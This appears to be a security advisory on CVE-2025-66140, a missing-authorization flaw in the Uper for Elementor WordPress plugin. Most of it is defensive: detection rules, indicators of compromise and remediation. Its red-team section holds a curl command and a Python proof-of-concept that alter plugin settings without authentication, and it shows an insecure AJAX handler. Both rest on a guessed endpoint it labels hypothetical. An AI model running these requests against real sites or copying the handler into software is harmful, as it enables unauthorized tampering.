CVE-2025-66140

Executive Summary

CVE-2025-66140 is a Missing Authorization vulnerability in the Uper for Elementor WordPress plugin (slug: uper-elementor) developed by Merkulove. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability affects all versions up to and including 1.0.5. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The CVSS score is 5.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or directly from the vendor’s site are affected. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s AJAX handlers or REST API endpoints. The plugin likely registers actions that are intended for authenticated users (e.g., administrators) but fails to verify the user’s capabilities before processing requests. An unauthenticated attacker can send crafted HTTP requests to these endpoints to:

• Access sensitive configuration data.
• Modify plugin settings.
• Trigger unintended actions (e.g., resetting options, exporting data).

The exact vulnerable endpoint is not publicly documented, but based on the CWE (CWE-862 – Missing Authorization), it is likely a function hooked to wp_ajax_* or wp_ajax_nopriv_* that lacks a current_user_can() check.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress plugin patterns.

Vulnerable Code (version <= 1.0.5):

add_action('wp_ajax_uper_save_settings', 'uper_save_settings');
add_action('wp_ajax_nopriv_uper_save_settings', 'uper_save_settings');

function uper_save_settings() {
    // Missing capability check
    update_option('uper_settings', $_POST['settings']);
    wp_send_json_success();
}

Patched Code (hypothetical):

add_action('wp_ajax_uper_save_settings', 'uper_save_settings');

function uper_save_settings() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    update_option('uper_settings', $_POST['settings']);
    wp_send_json_success();
}

The fix involves adding a capability check (e.g., manage_options) and removing the nopriv hook to prevent unauthenticated access.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Uper for Elementor <= 1.0.5 installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include /wp-admin/admin-ajax.php?action=uper_*.
2. Send a crafted POST request without authentication:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
        -d "action=uper_save_settings&settings[option]=malicious_value"
   

3. Verify unauthorized access by checking if the option was modified (e.g., via a public-facing page that reads the option).

Proof-of-Concept (PoC) Script:

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "uper_save_settings",
    "settings": {"some_option": "attacker_controlled"}
}
response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploit successful - unauthorized settings change")
else:
    print("Exploit failed")

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action parameters containing uper_ from unauthenticated sources.
• Alert on any changes to WordPress options related to uper_ (e.g., uper_settings) without a corresponding admin login session.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=uper_* from unauthenticated users.
• Use a plugin like "Wordfence" to add virtual patching for known vulnerabilities.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the plugin directory: /wp-content/plugins/uper-elementor/
  • Modified files: /wp-content/plugins/uper-elementor/includes/class-ajax.php (if attacker tampered with plugin code)

• Network Indicators:

  • POST requests to /wp-admin/admin-ajax.php with action=uper_* parameters from IPs not associated with admin users.
  • Unusual outbound connections from the WordPress server to attacker-controlled IPs (if the exploit is used for data exfiltration).

• Log Indicators:

  • WordPress debug log entries showing wp_ajax_nopriv_uper_* actions being triggered.
  • Web server access logs with POST /wp-admin/admin-ajax.php and HTTP 200 responses for unauthenticated requests.

Detection Engineering

YARA Rule

rule CVE_2025_66140_Uper_Elementor {
    meta:
        description = "Detects vulnerable Uper for Elementor plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66140"
    strings:
        $vuln_func = "wp_ajax_nopriv_uper_" ascii wide nocase
        $missing_check = "current_user_can" ascii wide nocase
    condition:
        $vuln_func and not $missing_check
}

Sigma Rule

title: CVE-2025-66140 - Unauthenticated AJAX Access to Uper for Elementor
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated POST requests to WordPress admin-ajax.php with Uper plugin actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=uper_
    condition: selection
falsepositives:
    - Legitimate admin actions (if admin IP is whitelisted)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66140 - Uper for Elementor Unauthenticated AJAX Access"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=uper_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Uper for Elementor plugin from all WordPress installations.
2. Audit for compromise – Check for unauthorized changes to plugin settings or options (e.g., uper_settings in wp_options table).
3. Apply virtual patching – Use a WAF to block requests to admin-ajax.php with action=uper_* from unauthenticated users.

Long-Term Actions:

• Monitor the vendor’s website or WordPress plugin repository for an official patch.
• Consider replacing the plugin with an alternative that has active security support.
• Implement a WordPress security plugin (e.g., Wordfence, Sucuri) to provide ongoing protection.

Workaround (if plugin must remain active):

• Add the following code to the theme’s functions.php to block unauthenticated AJAX requests for the plugin:

  add_action('init', function() {
      if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
          $action = $_REQUEST['action'] ?? '';
          if (strpos($action, 'uper_') === 0) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

Valters IT
Securing Digital Frontiers